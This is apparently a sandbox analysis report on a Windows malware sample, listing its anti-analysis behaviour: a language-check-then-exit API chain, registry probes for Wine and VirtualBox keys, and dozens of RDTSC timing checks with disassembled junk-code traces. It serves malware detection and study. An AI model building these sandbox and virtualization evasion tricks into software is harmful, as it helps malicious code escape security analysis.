Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-58150

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C213A second address: 2C2141 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4324DC second address: 4324EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F09F0F95A0Dh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4324EE second address: 4324FE instructions: 0x00000000 rdtsc 0x00000002 jl 00007F09F0F8B452h 0x00000008 je 00007F09F0F8B446h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44A3C2 second address: 44A3CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F09F0F95A06h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44A3CF second address: 44A3F1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F09F0F8B44Fh 0x00000008 jmp 00007F09F0F8B44Ch 0x0000000d pop edx 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44A552 second address: 44A556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44A556 second address: 44A560 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F09F0F8B446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44A84A second address: 44A862 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09F0F95A10h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44A862 second address: 44A866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44A9A1 second address: 44A9AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44A9AD second address: 44A9B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44CE43 second address: 44CE5A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F09F0F95A06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F09F0F95A0Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44CF21 second address: 44CFB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09F0F8B44Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnl 00007F09F0F8B446h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 push ebx 0x00000017 pushad 0x00000018 popad 0x00000019 pop ebx 0x0000001a jmp 00007F09F0F8B457h 0x0000001f popad 0x00000020 mov eax, dword ptr [esp+04h] 0x00000024 push eax 0x00000025 jnl 00007F09F0F8B44Ch 0x0000002b pop eax 0x0000002c mov eax, dword ptr [eax] 0x0000002e jc 00007F09F0F8B44Ch 0x00000034 pushad 0x00000035 pushad 0x00000036 popad 0x00000037 pushad 0x00000038 popad 0x00000039 popad 0x0000003a mov dword ptr [esp+04h], eax 0x0000003e jnc 00007F09F0F8B458h 0x00000044 pop eax 0x00000045 movzx edx, dx 0x00000048 lea ebx, dword ptr [ebp+1245ED65h] 0x0000004e add dword ptr [ebp+122D1B9Ch], ebx 0x00000054 xchg eax, ebx 0x00000055 jbe 00007F09F0F8B467h 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44CFB0 second address: 44CFB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44D025 second address: 44D030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F09F0F8B446h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44D129 second address: 44D12D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44D12D second address: 44D133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44D28E second address: 44D294 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44D294 second address: 44D29A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 44D29A second address: 44D29E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46BC9E second address: 46BCA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46BCA2 second address: 46BCA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46BCA8 second address: 46BCC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F09F0F8B451h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46BFAA second address: 46BFAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46BFAE second address: 46BFCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ja 00007F09F0F8B459h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46BFCF second address: 46BFD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46BFD4 second address: 46BFF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F09F0F8B446h 0x0000000a jnp 00007F09F0F8B446h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F09F0F8B450h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46BFF9 second address: 46C003 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F09F0F95A06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46C15D second address: 46C167 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F09F0F8B446h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46C167 second address: 46C172 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46C172 second address: 46C178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46C2E7 second address: 46C2EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46C2EB second address: 46C2EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46C2EF second address: 46C2FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F09F0F95A0Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46C2FF second address: 46C314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F09F0F8B44Eh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46C314 second address: 46C33F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F09F0F95A06h 0x0000000a popad 0x0000000b jmp 00007F09F0F95A15h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jc 00007F09F0F95A08h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46C5FA second address: 46C5FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46C5FE second address: 46C619 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F09F0F95A15h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46C9BB second address: 46C9CF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnl 00007F09F0F8B446h 0x00000009 jns 00007F09F0F8B446h 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 42BB00 second address: 42BB06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46D3E5 second address: 46D3EF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F09F0F8B452h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46D53D second address: 46D542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46DAD6 second address: 46DAE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F09F0F8B446h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46DAE1 second address: 46DAFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F09F0F95A17h 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46F941 second address: 46F946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 473A5A second address: 473A60 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 473A60 second address: 473A7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09F0F8B459h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 473A7F second address: 473A85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 43C66D second address: 43C673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 477E74 second address: 477E9C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F09F0F95A1Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 477E9C second address: 477EA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 477EA0 second address: 477EB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09F0F95A12h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478014 second address: 47801A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47801A second address: 478027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478027 second address: 47802B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47802B second address: 47803F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F09F0F95A06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007F09F0F95A0Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4781CD second address: 4781E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09F0F8B455h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4781E6 second address: 4781F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F09F0F95A06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4781F2 second address: 4781F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4781F6 second address: 4781FC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4781FC second address: 47822B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F09F0F8B448h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 je 00007F09F0F8B448h 0x00000017 jmp 00007F09F0F8B453h 0x0000001c push ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4786A1 second address: 4786D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F09F0F95A0Eh 0x00000009 jmp 00007F09F0F95A10h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F09F0F95A13h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47880C second address: 478810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 478810 second address: 478823 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F09F0F95A06h 0x00000008 jp 00007F09F0F95A06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47B5AB second address: 47B5AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47B5AF second address: 47B61B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 add dword ptr [esp], 72E94600h 0x0000000e jno 00007F09F0F95A0Ah 0x00000014 call 00007F09F0F95A09h 0x00000019 jmp 00007F09F0F95A15h 0x0000001e push eax 0x0000001f pushad 0x00000020 jmp 00007F09F0F95A0Ah 0x00000025 jne 00007F09F0F95A1Bh 0x0000002b popad 0x0000002c mov eax, dword ptr [esp+04h] 0x00000030 jnp 00007F09F0F95A14h 0x00000036 push eax 0x00000037 push edx 0x00000038 push ebx 0x00000039 pop ebx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47B61B second address: 47B635 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F09F0F8B446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F09F0F8B44Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47B635 second address: 47B63B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47B63B second address: 47B63F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47BA28 second address: 47BA2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47BCA2 second address: 47BCA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47BCA6 second address: 47BCB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C29D second address: 47C2A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C2A1 second address: 47C2A7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C7EB second address: 47C7EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C7EF second address: 47C7F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47C7F5 second address: 47C85A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F09F0F8B448h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jp 00007F09F0F8B446h 0x00000015 popad 0x00000016 pop edi 0x00000017 nop 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007F09F0F8B448h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 mov dword ptr [ebp+122D2B63h], esi 0x00000038 mov dword ptr [ebp+122D21A5h], esi 0x0000003e xchg eax, ebx 0x0000003f jmp 00007F09F0F8B452h 0x00000044 push eax 0x00000045 pushad 0x00000046 push ebx 0x00000047 jo 00007F09F0F8B446h 0x0000004d pop ebx 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47CDAB second address: 47CDAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47CDAF second address: 47CE16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F09F0F8B448h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 0000001Ch 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D1E7Fh], ecx 0x0000002a push 00000000h 0x0000002c mov esi, dword ptr [ebp+122D1813h] 0x00000032 push 00000000h 0x00000034 push eax 0x00000035 stc 0x00000036 pop edi 0x00000037 sub dword ptr [ebp+122D17A7h], esi 0x0000003d xchg eax, ebx 0x0000003e jnc 00007F09F0F8B454h 0x00000044 jmp 00007F09F0F8B44Eh 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c jno 00007F09F0F8B448h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47D7C4 second address: 47D7CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47D7CE second address: 47D7D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47D7D2 second address: 47D7D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47E0F9 second address: 47E0FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47F2EC second address: 47F2F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47F56D second address: 47F574 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47E0FF second address: 47E103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47F574 second address: 47F57A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47F2F2 second address: 47F305 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F09F0F95A08h 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47F57A second address: 47F58D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F09F0F8B446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47F58D second address: 47F597 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F09F0F95A06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47F597 second address: 47F59D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 480AF5 second address: 480AFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 482B22 second address: 482B27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 482B27 second address: 482B35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F09F0F95A0Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 482B35 second address: 482B39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 482BC5 second address: 482BCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 482BCA second address: 482BD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F09F0F8B446h 0x0000000a rdtsc
